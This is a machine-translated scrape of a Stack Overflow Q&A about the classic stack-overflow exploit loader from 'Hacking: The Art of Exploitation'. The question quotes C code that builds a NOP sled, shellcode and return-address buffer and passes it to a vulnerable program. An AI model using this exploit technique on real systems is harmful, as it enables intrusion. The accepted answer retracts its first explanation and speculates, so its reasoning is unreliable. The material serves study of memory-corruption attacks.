- android - 多次调用 OnPrimaryClipChangedListener
- android - 无法更新 RecyclerView 中的 TextView 字段
- android.database.CursorIndexOutOfBoundsException : Index 0 requested, 光标大小为 0
- android - 使用 AppCompat 时,我们是否需要明确指定其 UI 组件(Spinner、EditText)颜色
这可能与 this 有关,但我不确定它是否在同一条船上。
所以我一直在重新阅读黑客:剥削的艺术,我对书中的一些 C 代码有疑问,这对我来说不太有意义:
让我们假设我们回到了大约 2000 年,我们并没有真正的堆栈 cookie 和 ASLR(也许我们有,但还没有实现或没有广泛使用),或者我们没有任何其他类型的保护有现在的日子。
他向我们展示了这段代码来利用一个简单的基于堆栈的溢出:
#include <stdlib.h>
char shellcode[] = "..." // omitted
unsigned long sp(void)
{ __asm__("movl %esp, %eax); }
int main(int argc, char *argv[]) {
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 0;
esp = sp();
ret = esp - offset;
// bunch of printfs here...
buffer = malloc(600);
ptr = buffer;
addr_ptr = (long *) ptr;
for(i = 0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }
for(i = 0; i < 200; i++)
{ buffer[i] = '\x90'; }
ptr = buffer + 200;
for(i = 0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
buffer[600-1] = 0;
execl("./vuln", "vuln", buffer, 0);
free(buffer);
return 0;
}
所以他想做的是获取 ESP 的地址并用该地址覆盖保存的 EIP,这样处理器就会跳转到他在内存中的 NOP sled 并执行堆栈中的 shellcode。
我不明白的是,他如何使用他在当前调用时从 sp() 获得的特定 ESP 值。
据我了解,堆栈看起来“像这样”:
...
saved ebp <-- execl
saved eip
"./vuln"
"vuln"
buffer
0
*ptr <-- sp() returns this address?
*buffer
*addr_ptr
ret
esp
offset
i
saved ebp <-- main
saved eip
argc
argv
...
既然他在漏洞利用这么早的时候就调用了(我知道这是一个函数指针,所以我猜措辞不完全准确?)sp(),难道不应该给他一个错误的 ESP 地址吗?即便如此,我也看不出他怎么能在这里使用这种技术,因为他永远不会在他的 vuln 程序中获得指向缓冲区顶部的 ESP。
谢谢。
最佳答案
I don't see how he can even use that technique here, because he will never get the ESP that points to the top of the buffer inside his vuln program.
这本书我读得不多,但我想我已经弄明白了。下面是 *buffer
的样子:
NOP sled | shellcode | Address of buffer in the exploit's stack frame
当 vuln
在 buffer
上执行 strcpy()
到它自己的堆栈时,它无法检查边界并用exploit 堆栈帧中缓冲区的起始地址,或者至少接近它的地址(因此是 NOP sled)。 复制到vuln
栈帧的NOP sled和shellcode是偶然的;那不是它们运行的地方。 sled 和 shellcode 比 vuln
期望的 buffer 有多大小是至关重要的
是,否则保存的 EIP 将被 shellcode 而不是 buffer
的地址覆盖。
然后,当在 buffer
上使用 strcpy()
的 vuln
的任何部分返回时,它会转到 NOP sled 并执行 shellcode .
重要的一点是 buffer
在两个不同的地方被读取两次。
编辑:无视那个,我把自己弄糊涂了(尽管感谢您接受!)。希望我不会让您也感到困惑,这就是我编写此编辑的原因。易受攻击的程序位于完全不同的虚拟内存空间中,因为它由操作系统在单独的进程(或具有新镜像的同一进程?随便)中运行。因此,vuln 无法访问漏洞利用的堆栈或堆。
ESP 诡计一定是通过某种方式来猜测复制缓冲区中的 NOP sled 在vuln 堆栈中的最终位置。我个人希望偏移量比 0 大得多,因为与 vuln 相比,漏洞利用的堆栈非常小。
也就是说,我很确定 vuln 中仍然有两个 shellcode 副本(否则,strcpy()
来自什么?)。偏移量为 0,也许他正在运行存储在 argv[] 中的 shellcode...?!?在那种情况下,您仍然会遇到一个缓冲区中的地址指向另一个缓冲区中的 NOP sled 的情况,就像我原来的回答一样。不过,我以前也错了,所以如果这没有意义,请告诉我。
关于c - 来自 Hacking : The Art of Exploitation 的基于堆栈的溢出代码,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/17701145/
我是一名优秀的程序员,十分优秀!